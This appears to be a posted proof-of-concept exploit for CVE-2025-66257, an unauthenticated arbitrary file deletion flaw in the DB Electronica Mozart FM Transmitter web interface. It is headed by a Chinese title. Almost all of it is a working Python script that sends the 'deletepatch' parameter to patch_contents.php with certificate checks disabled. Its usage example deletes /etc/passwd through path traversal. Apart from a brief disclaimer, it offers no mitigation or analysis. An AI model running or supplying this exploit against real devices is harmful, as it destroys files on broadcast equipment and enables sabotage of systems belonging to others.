CVE-2025-66257: DB Electronica Mozart FM Transmitter 未认证任意文件删除漏洞

#!/usr/bin/env python3 """ CVE-2025-66257 PoC - Mozart FM Transmitter Unauthenticated Arbitrary File Deletion Note: This PoC is for educational and authorized security testing purposes only. """ import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_file_deletion(target_url, file_to_delete): """ Exploit the arbitrary file deletion vulnerability in patch_contents.php Args: target_url: Base URL of the Mozart FM Transmitter web interface file_to_delete: Path to the file to delete (relative to /var/www/patch/) Returns: bool: True if deletion appears successful, False otherwise """ # Target endpoint endpoint = f"{target_url.rstrip('/')}/patch_contents.php" # Payload construction - the vulnerable 'deletepatch' parameter payload = { 'deletepatch': file_to_delete } print(f"[*] Target: {endpoint}") print(f"[*] File to delete: {file_to_delete}") try: # Send GET request with deletepatch parameter response = requests.get(endpoint, params=payload, verify=False, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)} bytes") # Check for indicators of successful deletion if response.status_code == 200: print("[+] Request completed - file may have been deleted") return True else: print("[-] Unexpected response") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def main(): if len(sys.argv) < 3: print("Usage: python3 cve-2025-66257_poc.py <target_url> <file_to_delete>") print("Example: python3 cve-2025-66257_poc.py https://192.168.1.100 ../../../etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] print("="*60) print("CVE-2025-66257 PoC - Mozart FM Transmitter") print("Unauthenticated Arbitrary File Deletion") print("="*60) exploit_file_deletion(target, file_path) if __name__ == "__main__": main()